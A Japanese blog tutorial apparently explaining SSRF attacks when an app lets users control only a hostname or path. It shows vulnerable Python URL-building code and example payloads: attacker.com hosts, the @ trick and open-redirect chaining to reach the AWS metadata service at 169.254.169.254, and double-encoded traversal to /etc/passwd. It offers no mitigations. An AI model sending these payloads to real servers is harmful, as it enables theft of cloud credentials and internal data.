Shikata Ga Nai

Private? There is no such things.

部分的なURLを利用したSSRF攻撃

Hello there, ('ω')ノ

一部のアプリケーションでは、完全なURLではなく、ホスト名やパスの一部のみをリクエストパラメータとして扱い、サーバー側でフルURLを構築する ことがあります。
この場合、攻撃者は URL全体を制御できない ため、SSRFをフル活用することが難しくなる可能性があります。
しかし、適切なテクニックを使うことで、部分的なURL制御を悪用し、SSRF攻撃を成立させる ことができます。


1. 部分的なURLを扱うアプリケーションの例

🔹 ① ホスト名のみを指定するパターン

一部のアプリケーションは、パラメータとしてホスト名のみを受け取り、フルURLをサーバー側で補完する ことがあります。

📌 例:画像取得API

GET /fetchImage?hostname=example.com

サーバー側の処理

BASE_URL = "http://"
hostname = request.GET["hostname"]
url = BASE_URL + hostname + "/image.png"
response = requests.get(url)

結果:
攻撃者が hostname を変更すると、任意のホストから画像を取得させることが可能。

GET /fetchImage?hostname=attacker.com

これにより、攻撃者のサーバーにリクエストを送信させることが可能!


🔹 ② パスのみを指定するパターン

別のパターンとして、ベースURLが固定され、リクエストパラメータとして「パス」のみが渡されるケース があります。

📌 例:社内APIを呼び出す機能

GET /api/data?path=/users

サーバー側の処理

BASE_API_URL = "http://internal-api.local"
path = request.GET["path"]
url = BASE_API_URL + path
response = requests.get(url)

結果:
攻撃者が path=../../../../etc/passwd のような値を渡すと、ディレクトリトラバーサル攻撃が可能 になる。

GET /api/data?path=../../../../etc/passwd

内部APIの機密データを盗む可能性あり!


2. 部分的なURL制御を悪用するSSRF攻撃

部分的なURL制御がある場合、以下の手法を利用してフルSSRF攻撃を実行できる可能性があります。

① URLスキームの挿入

  • 一部のアプリケーションは、http:// を自動的に追加する場合があります。
  • @ を使うことで、任意のドメインをリクエストさせることが可能!

📌 例

GET /fetchImage?hostname=attacker.com@169.254.169.254/latest/meta-data/

サーバー側の処理

BASE_URL = "http://"
hostname = request.GET["hostname"]
url = BASE_URL + hostname + "/image.png"
response = requests.get(url)

結果:
AWSのメタデータAPI(169.254.169.254)にリクエストを送らせることが可能!


② 絶対URLの利用

  • 一部のサーバーは、パスの部分に http:// を挿入すると、そのURLに直接リクエストを送る仕様になっている

📌 例

GET /api/data?path=http://attacker.com/steal

結果:
http://attacker.com/steal にリクエストを送信させることが可能!


③ URLエンコーディングの利用

  • 一部のフィルタは、エンコードされたURLを正しく解析できない
  • 二重エンコード(%252F)を利用すると、フィルタを回避できる場合がある

📌 例

GET /api/data?path=%252F..%252F..%252F..%252Fetc%252Fpasswd

結果:
サーバーが /etc/passwd にアクセスし、内部情報を取得する可能性がある!


④ Open Redirectを利用

  • ホスト名が制限されている場合、オープンリダイレクションを利用すると内部リソースにアクセス可能!

📌 例

GET /fetchImage?hostname=trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/

結果:
最初に trusted.com へリクエストが送られ、リダイレクトを経由してメタデータサービスにアクセス!


3. まとめ

攻撃手法 攻撃例 結果
URLスキームの挿入 attacker.com@169.254.169.254/latest/meta-data/ メタデータサービスの取得
絶対URLの利用 path=http://attacker.com/steal 任意のURLにリクエストを送信
エンコーディング回避 %252Fetc%252Fpasswd フィルタ回避&ディレクトリトラバーサル
オープンリダイレクション trusted.com/redirect?url=http://169.254.169.254 内部APIやクラウドメタデータへのアクセス

🚀 部分的なURL制御でも、適切なテクニックを使えばSSRF攻撃が可能!
🔍 アプリケーションの挙動を詳細に分析し、攻撃手法を組み合わせることで突破できる可能性がある!

Best regards, (^^ゞ